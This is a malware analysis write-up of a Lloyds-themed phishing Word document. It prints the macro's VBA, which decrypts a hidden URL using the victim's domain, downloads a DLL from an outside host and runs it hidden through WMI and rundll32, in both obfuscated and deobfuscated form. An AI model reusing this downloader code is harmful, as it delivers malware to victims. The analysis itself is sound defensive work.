This phishing document was interesting for not only its lure / cover, but also for the way it used encryption to target users who had a domain with certain key words in it. While brute forcing the domains only results in some potentially financial key words, the stage 2 domain acts as a pivot to find an original phish email in VT, which shows this was quite targeted after all.

File Info

Filename mud.doc
md5 86149cafa27cf964bacc18859bfb9b00
VT Link https://www.virustotal.com/#/file/df4e2efa8d2ec9f323b501d46d126c4f663b8d757c12954b885a17fa9a8ca46b/details

Document Structure

The document is a full page image, with two VBA modules, “ThisDocument” and “NewMacros”.

remnux@remnux:~/host-malware/mud.doc$ oledump.py df4e2efa8d2ec9f323b501d46d126c4f663b8d757c12954b885a17fa9a8ca46b
  1:       114 '\x01CompObj'
  2:       280 '\x05DocumentSummaryInformation'
  3:       416 '\x05SummaryInformation'
  4:      8866 '1Table'
  5:      4096 'Data'
  6:       498 'Macros/PROJECT'
  7:        71 'Macros/PROJECTwm'
  8: M   30499 'Macros/VBA/NewMacros'
  9: M    2269 'Macros/VBA/ThisDocument'
 10:      8337 'Macros/VBA/_VBA_PROJECT'
 11:      7465 'Macros/VBA/__SRP_0'
 12:       638 'Macros/VBA/__SRP_1'
 13:       976 'Macros/VBA/__SRP_2'
 14:       208 'Macros/VBA/__SRP_3'
 15:     11804 'Macros/VBA/__SRP_4'
 16:      1030 'Macros/VBA/__SRP_5'
 17:       827 'Macros/VBA/dir'
 18:       128 'ObjectPool/_1586936887/\x01CompObj'
 19:        32 'ObjectPool/_1586936887/\x03OCXNAME'
 20:         6 'ObjectPool/_1586936887/\x03ObjInfo'
 21:       552 'ObjectPool/_1586936887/\x03PRINT'
 22:        60 'ObjectPool/_1586936887/contents'
 23:    181815 'WordDocument'

Metadata shows it was created and last modified on the 4th of May, 2018, by KPMGUser. This user name is certainly a reference to the giant consulting firm, KPMG.

Lure

Document Display

The authors of this document went to some trouble to work on their cover story. The document is a Lloyds Banking Group themed phish, which is offering to search for old pensions under your name. They’re asking you to hit the “Authorize” button, and they are nice enough to tell you that you’ll need to enable macros to do this.

document image

This is interesting because they are not going with the typical claim of older version of office, or just click here. Rather, they’ve built a premise that, if you believe it, would actually require macros to run.

pensionio.com

For what it’s worth, pensionio.com and www.pensionio.com don’t resolve in DNS. According to VT, they did in May:

1533032844083

1533032986498

VBA

The code within ThisDocument is the rest of the cover story. When you enable macros and click submit, you get a pop-up telling you that you’ve submitted, and telling you your current username, which the authors suspect is enough for the target to move on while they wait for results, which will never come.

remnux@remnux:~/host-malware/mud.doc$ oledump.py -s 9 -v df4e2efa8d2ec9f323b501d46d126c4f663b8d757c12954b885a17fa9a8ca46b Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "CommandButton1, 0, 0, MSForms, CommandButton"

Private Sub CommandButton1_Click()
User = Environ("USERNAME")
MsgBox "Thank you for submitting. Your username is : " + User
End Sub

Malicious VBA

The VBA is targeted towards very specific targets. The code is in the NewMacros module, and it execution on opening by implementing AutoOpen(), which simply calls RunMe.

The RunMe function takes the following actions:

  1. Initializes and attempts to decrypt a master key using the user’s domain as a key (keyVar = UCase(Environ("USERDNSDOMAIN"))).
  2. Uses the master key to decrypt a string url.
  3. Issue a GET request using Microsoft.XMLHTTP to get the url decrypted in 2, saving it to a file in Environ("TEMP").
  4. Creates a WMI object to create a rundll32.exe process to load the dll.

1. Decrypt Key with DNS Domain

Code

The malware will need to download the next stage binary, but as an anti-forensics measure, it keeps the url for that binary encrypted, and the VBA contains the routines to decrypt it. The master key is encrypted 19 times, presumably with different target domains. So the code gets the current domain using keyVar = UCase(Environ("USERDNSDOMAIN")), and then tries to decrypt each of the 20 binaries objects hardcoded as “keySchedule”. If none of them can be decrypted, and error message is thrown, and the code exits.

The code looks like this:

Sub RunMe()
    Dim s, keyVar, sPlaintext As String
    Dim masterKey As Variant
    keyVar = UCase(Environ("USERDNSDOMAIN"))
    Dim payload As String
    payload = ""
    Dim i As Integer

    Dim keyScheduleBytes() As Variant
    Dim myURL As String
    Dim keySchedule(19) As String
    keySchedule(0) = "i+6d45jyleWY9cH3h/yB6oeljPOT/tih3rU="
'...snip...'
    keySchedule(19) = "keWR7ZPunued+N3yjv+M+Imqj/CK9tes1qo="
    payload = payload & "uerr6erm67Xh86nk8rT19r/yofGx+u7s663+oLDpruevrvWss+64va7xpvHn"
    payload = payload & "or/n5eO+/qfxpqGrtOK0tfap9f3r8rLns/r996Tivq+34beyqA=="
    ReDim keyScheduleBytes(UBound(keySchedule))
    For i = 0 To UBound(keySchedule)
        keyScheduleBytes(i) = Decode64(keySchedule(i))
    Next

    masterKey = TryAllKeys(keyVar, keyScheduleBytes)

The TryAllKeys code does just that. When passed the keyVar (domain) and the keyScheduleBytes, it first breaks the domain into pieces (using the ExpandDotString function). Then it tries to decrypt each blob in the schedule with each piece of the domain, and if successful, returns the key, and otherwise raises and exception:

Function TryAllKeys(ByVal sInput As String, ByRef sKeys As Variant) As Byte()
    Dim candidates() As String
    Dim c As Variant
    candidates = ExpandDotString(sInput)

    For Each k In sKeys
        For Each c In candidates
'
            TryAllKeys = XorDecryptAndVerifyCRC(mascaktwo(c), k)
            If (Not Not TryAllKeys) <> 0 Then


                Exit Function
            End If

        Next c
    Next k

    Err.Raise vbObjectError + 555, "TryAllkeys", "Master key not found :/"
End Function

Brute Forcing the Domain - Technique

I wanted to figure out who was being targeted, so I grabbed a list of the top 10 million domains from here. Then, I wrote some modified versions of RunMe and TryAllKeys. In my version of RunMe, it ends after calling TryAllKeys. In my version of TryAllKeys, it fails silently, and pops a message box on success. Then here’s my wrapper, plus modified functions:

Sub brute()
    domains = "c:\domainlist.txt"
    Open domains For Input As #1

    Do Until EOF(1)
        Line Input #1, domain
        BruteRunMe (UCase(domain))
    Loop

    Close #1

End Sub

Sub BruteRunMe(keyVar As String)

    Dim s, sPlaintext As String
    Dim masterKey As Variant
    Dim payload As String
    payload = ""
    Dim i As Integer

    Dim keyScheduleBytes() As Variant
    Dim myURL As String
    Dim keySchedule(19) As String
    keySchedule(0) = "i+6d45jyleWY9cH3h/yB6oeljPOT/tih3rU="
'...snip...'
    keySchedule(19) = "keWR7ZPunued+N3yjv+M+Imqj/CK9tes1qo="
    payload = payload & "uerr6erm67Xh86nk8rT19r/yofGx+u7s663+oLDpruevrvWss+64va7xpvHn"
    payload = payload & "or/n5eO+/qfxpqGrtOK0tfap9f3r8rLns/r996Tivq+34beyqA=="
    ReDim keyScheduleBytes(UBound(keySchedule))
    For i = 0 To UBound(keySchedule)
        keyScheduleBytes(i) = Decode64(keySchedule(i))
    Next

	masterKey = BruteTryAllKeys(keyVar, keyScheduleBytes)

End Sub

Function BruteTryAllKeys(ByVal sInput As String, ByRef sKeys As Variant) As Byte()
    Dim candidates() As String
    Dim c As Variant
    candidates = ExpandDotString(sInput)

    For Each k In sKeys
        For Each c In candidates
            TryAllKeys = XorDecryptAndVerifyCRC(mascaktwo(c), k)
            If (Not Not TryAllKeys) <> 0 Then
                MsgBox ("Found Key: " & sInput & vbNewLine & "Key: " & c)
                Exit Function
            End If

        Next c
    Next k

End Function

I would later modify the code to write results to a file, so that I could let it run for a while and see what came out.

Brute Forcing the Domain - Results

If any of the following strings are found in the target’s domain when it’s split at the .s, then the key decrypts:

  • B
  • BANKOFSCOTTLAND
  • BB
  • BBB
  • BBBB
  • BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCO
  • DWP
  • FINANCE
  • GLOBAL
  • GSL
  • HALIFAX
  • LSC
  • MEX
  • MIG
  • NCA
  • NO
  • NONO
  • RSF

We can also get the master key by putting a break at the return for TryAllKeys, and then using their own BytesToString function:

print BytesToString(TryAllKeys)
fb44099ff229b629

2. Decrypt String

With the master key decrypted, the code can now decrypt the url for the next stage payload:

    ciphertext = Decode64(payload)
    bPlaintext = XorDecryptAndVerifyCRC(masterKey, ciphertext)
    sPlaintext = BytesToString(bPlaintext)

    zzz = sPlaintext

Breaking at this point gives us the next stage: https://gdpr-datagroup.com/documents/additional-document-tempalates.docx.

Unfortunately (though not surprisingly), the link is no longer active.

3. Get the Binary

The next block of code gets the binary. While the url indicates this is a .docx, we’ll see it is actually a .dll executable file.

    Dim ampleMacarons
    Dim bStrm
    Dim filename
    Set ampleMacarons = CreateObject(StrReverse("PTTHLMX.tfosorciM"))
    ampleMacarons.Open "GET", zzz, False
    ampleMacarons.Send
    Set dollop = CreateObject(StrReverse("maertS.bdodA"))
    dollop.Type = 1
    dollop.Open
    dollop.Write ampleMacarons.responseBody
    dstPath = Environ$("TEMP") & "\" & namePrefix & "_" & DateDiff("s", #1/1/1970#, Now()) & nameSuffix
    savePath = dstPath
    dollop.savetofile savePath, 2

To avoid filters, this section uses another obfuscation technique, putting all the strings through a reverse function. These are easy enough to undo by hand, but may avoid automated filters. The code creates a Microsoft.XMLHTTP object, uses it to issue a get request. Then, it creates a Adodb.Stream objection, which is passes in the response body, and uses that to save to %TEMP%\tialdyos_[timestamp count].dll.

4. Use WMI to create a rundll32 process to run the dll

Finally, the script uses WMI to create a process. Here’s the code:

    Const HIDDEN_WINDOW = 0
        strComputer = "."
        abc = StrReverse("23lldnur") & " " & dstPath & ",Start"
        strGetObject = StrReverse("2vmic\toor\.\\:stmgmniw")
        Set objWMIService = GetObject(strGetObject)
        Set objStartup = objWMIService.Get(StrReverse("putratSssecorP_23niW"))
        Set objConfig = objStartup.SpawnInstance_
        objConfig.ShowWindow = HIDDEN_WINDOW
        Set objProcess = GetObject(strGetObject & StrReverse("ssecorP_23niW:"))
        objProcess.Create abc, Null, objConfig, intProcessID

Here’s the code with the StrReverses removed:

    Const HIDDEN_WINDOW = 0
        abc = "rundll32 " & dstPath & ",Start"
        Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
        Set objStartup = objWMIService.Get("Win32_ProcessStartup")
        Set objConfig = objStartup.SpawnInstance_
        objConfig.ShowWindow = HIDDEN_WINDOW
        Set objProcess = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
        objProcess.Create abc, Null, objConfig, intProcessID

So it creates a WMI object, which starts a process with a hidden window, and runs it with command line rundll32 [downloaded.dll],Start.

gdpr-datagroup.com

In doing some quick looking at domain used to download the next stage, I found that VT had one “Files Referring”, which happened to be dated 4 days after the creation of the document:

document image

LBG Employee Benefits - Pensionio.msg

Converting to text

The msg file is a Outlook message file:

~/malware/mud.doc# file 68a4985515203c6c8274628e71b433444e32bbbc125ffdf88d7570c3960b2588
68a4985515203c6c8274628e71b433444e32bbbc125ffdf88d7570c3960b2588: CDFV2 Microsoft Outlook Message

We can convert it to something more readable using msgconvert, and get it in plain text.

Message Analysis

The email has no plain text section, only headers, and two attachments ‘lbg-pensionio-form-2018.doc’ and ‘ATT00001.htm’. Presumably most email clients would display ATT00001.htm as the body.

Headers

Basic Meta

The headers indicate the message was sent at 12:16 on May 8 +0100, from Jonathan Margate <jonathan.margate@pensionio.com> to kevin.harris2@lloydsbanking.com. The subject line, “LBG Employee Benefits - Pensionio” fits the lure.

The X-Originating-IP is 167.99.39.125, which is a DigitalOcean IP, so it’s likely not actually Pensionio.

The X-Filenames header reports the attachment names are “PGPexch.htm.pgp, Attachment1.pgp”. There’s a couple other PGP-related headers, so it seems that this message was sent encrypted, though it’s been decrypted by the time it’s uploaded to VT.

Symantec MessageLabs

The received headers show that the message coming to server-27.tower-301.messagelabs.com.

Received: from mgwlspet03f004.machine.group (10.127.112.171) by
 EXCLGVIRTUAL005.Global.Lloydstsb.Com (10.126.197.91) with Microsoft SMTP
 Server (TLS) id 8.3.515.0; Tue, 8 May 2018 12:18:18 +0100
Received: from pgplspet02d002-int.machine.group (HELO
 pgplspet02d002.machine.group) ([10.125.105.11])  by
 mgwlspet03f004.machine.group with ESMTP/TLS/DES-CBC3-SHA; 08 May 2018
 12:18:16 +0100
Received: from MGWLSPET03F001.machine.group ([10.12.225.81])  by
 pgplspet02d002.machine.group (PGP Universal service);  Tue, 08 May 2018
 12:18:17 +0100
Received: from mail6.bemta25.messagelabs.com ([195.245.230.171])  by
 MGWLSPET03F001.machine.group with ESMTP; 08 May 2018 12:17:55 +0100
Received: from [46.226.53.49] (using TLSv1.2 with cipher
 DHE-RSA-AES256-GCM-SHA384 (256 bits))  by
 server-3.bemta.az-c.eu-west-1.aws.symcld.net id 6B/DA-03930-A5781FA5; Tue, 08
 May 2018 11:17:46 +0000
Received: (qmail 9141 invoked from network); 8 May 2018 11:17:45 -0000
Received: from unknown (HELO pensionio) (167.99.39.125)  by
 server-27.tower-301.messagelabs.com with SMTP; 8 May 2018 11:17:45 -0000
Received: by pensionio (Postfix, from userid 1000)      id A278240D2A; Tue,  8 May
 2018 11:17:45 +0000 (UTC)

messagelabs.com actually redirects to a Symantec page, https://www.symantec.com/theme/cloud-generation. Based on the MX records associated with lloydsbanking.com, Lloyds uses this service for email scanning:

~/malware/mud.doc# dig lloydsbanking.com MX
...snip...
;; ANSWER SECTION:
lloydsbanking.com.	28800	IN	MX	10 cluster1.eu.messagelabs.com.
lloydsbanking.com.	28800	IN	MX	20 cluster1a.eu.messagelabs.com.

The X-Brightmail-Tracker header is also something Symantec uses to track false positives and false negatives.

Body (ATT00001.htm)

We can base64 decode this attachment, and view it in a browser:

1533032465345

So this is a very targeted phish towards a Lloyds employee, from a made up company. It’s pretty convincing. I wish we could see what was a www.pensionio.com.

Summary

Unfortunately, as one might expect since it’s been 2+ months since this document’s creation, the download domain for the next stage isn’t available, so we can’t determine what the next stage of the attack might have been. Still, with the document and the original email, we got to see a targeted phishing threat against Lloyds Bank. This document was fun to play with since it provided a chance to brute force decrypt the payload, and included a somewhat targeted lure. And while the encryption certainly wasn’t that hard to break, it was definitely enough to keep the document from revealing it’s next steps to any automated sandboxes, which was likely the goal.